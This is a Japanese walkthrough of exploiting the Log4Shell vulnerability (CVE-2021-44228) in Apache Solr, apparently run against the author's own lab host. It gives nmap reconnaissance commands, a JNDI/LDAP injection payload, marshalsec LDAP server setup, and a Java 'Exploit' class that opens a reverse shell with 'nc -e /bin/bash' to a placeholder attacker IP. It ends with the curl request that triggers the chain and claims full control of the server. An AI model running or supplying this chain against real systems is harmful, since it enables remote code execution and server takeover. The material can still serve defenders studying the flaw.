Log4jの脆弱性 - CVE-2021-44228 📗

• はじめに

この脆弱性は2021年12月9日に発見され、CVE-2021-44228として識別されています。この欠陥はJavaのログパッケージに影響を及ぼし、深刻度スコア（CVSS）は** 10点であり、ホストへのリモートアクセス実行を可能にします。この脆弱性はセキュリティコミュニティではLOG4SHELL**として知られています。

LOG4J脆弱性の影響を受けるソフトウェアベンダーのリストが必要な場合は、以下のリポジトリを確認してください。

GitHub/Log4jAttackSurface

• 偵察

このタイプの攻撃を実証するために、log4jパッケージの脆弱なバージョン（Apache Solr 8.11.0）と__Java 1.8.0_181__を搭載したホストを用意しました。

基本的な偵察から始め、nmapツール（または他の任意のツール）を使用してこのマシンで開いているポートを把握します。

nmap -v -p- poc.log4j - 脆弱なホスト

この場合、3つのオープンポートが見つかりました。nmapを改善し、オープンポートのみと-sVコマンド（ポートのアプリケーションバージョンを返す）を指定しましょう。

nmap -v -p22,111,8983 -sV poc.log4j

おそらく__ポート8983__でApacheが動作しています。以下でApacheを確認できます。このApache Solrインスタンスはデータなしでプロビジョニングされています。フラットでバニラな、完全に最小限のインストールです。

• 概念実証 📚

log4jの主な攻撃ベクトルはアプリケーションログにあり、Solr画面を見ると、__Dsolr.log.dir__でログが有効になっていることがわかります。

先ほど発見したURLエンドポイントは、Webインターフェースから表示する際に__solr/__プレフィックスを付ける必要があります。つまり、次のURLにアクセスしてください：

http://poc.log4j:8983/solr/admin/cores

• なぜ /admin/cores なのか ❓ 💬
  ここに悪用可能な脆弱性があります。これは変数(params={})を受け取って実行する呼び出しであり、この入力を操作してペイロードを送信できます。以下はApacheがこのURL /admin/cores を呼び出した際に生成されたログです。
  

これを利用する通常の構文の形式は次のとおりです；

${jndi:ldap://ATTACKERCONTROLLEDHOST}

この構文は、log4jが「JNDI」（Java Naming and Directory Interface）の機能を呼び出すことを示しています。最終的には、外部リソース、つまり「参照」にアクセスするために使用され、これがこの攻撃で武器化されるものです。__ldap://__スキームに注目してください。これは、ターゲットがLDAPプロトコルを介してエンドポイント（この攻撃では攻撃者制御の場所）に接続することを示しています。

このldap構文はどこに入力できるのか？

HTTP GET変数やパラメータを単に提供するだけで、それがlog4jによって処理・解析されます。この一行のテキストだけで済むため、この脆弱性は非常に悪用しやすくなっています。

このJNDI構文を入力できるその他の場所：

• 入力ボックス、ユーザー名とパスワードのログインフォーム、アプリケーション内のデータ入力ポイント。
• User-Agent、X-Forwarded-ForなどのHTTPヘッダー、その他カスタマイズ可能なヘッダー。
• ユーザー提供データが使用されるあらゆる場所。

ホストは本当に脆弱か？

このステップでは、ターゲットホスト上でlog4jのバージョンを発見した後、そのバージョンが脆弱かどうかをテストする必要があります。

攻撃側ホストでポート6666を開きます。

nc -vnlp 6666

この基本的なJNDIペイロード構文をHTTPパラメータの一部として含むリクエストを作成します。これはcurlコマンドラインユーティリティで簡単に実行できます。

ペイロードを実行すると、ポート6666のnetcatで応答が得られます。 🙌

この時点で、netcatリスナーでこの接続をキャッチしたことにより、ターゲットが実際に脆弱であることを確認できました。ただし、LDAPリクエストを行ったため、netcatリスナーで見えたのは非印字可能文字（奇妙に見えるバイト）だけかもしれません。この基盤を基に、実際のLDAPハンドラで応答するように構築できます。

探検しよう 🤘

上記のcurlで見たように、LDAPプロトコルを使用してNCでリクエストを受信できました。しかし、別のプロトコルを使用しているため、応答を可視化したり操作したりすることはできません。

次のステップは、リクエストを処理できるLDAPサーバーを作成することです。さあ行きましょう！

• このPOCを迅速化するために、既に準備されているユーティリティを使用します：https://github.com/mbechler/marshalsec

• marshalsecスクリプトを使用するにはmavenが必要です。Mavenはapt install mavenでインストールできます。

• marshalsecリポジトリ内で、mavenを以下のように実行します：mvn clean package -DskipTests

• jarのビルド後、LDAPサーバーを起動してリクエストをリダイレクトできます。

Replace YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"

エクスプロイトの準備

LDAPサーバーを実行したまま、サーバーを探索するスクリプトを作成します。

• 以下は使用するエクスプロイトです。以下は使用するエクスプロイトです。Javaで書かれています。以下のクラスを含むExploit.javaファイルを作成してください。

#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

• エクスプロイトをjavac Exploit.java -source 8 -target 8でコンパイルします。Exploit.classが作成されます。

• エクスプロイトの準備ができたら、Pythonサーバーpython3 -m http.serverでホストします。

• 前に作成したJavaコマンドbashを受信するために、NCでポートを開きます。新しいnc -lnvp 9999を作成します。

• すべてを動作させましょう！Pythonで作成したポート8000で、サーバーに私たちのエクスプロイトを探させるCURLを実行します。

curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'

• 完了！👏 サーバーを完全に制御できるようになりました。

さて、これはどのようにして起こったのか ❓

• 以下は探索フローの簡単な例です。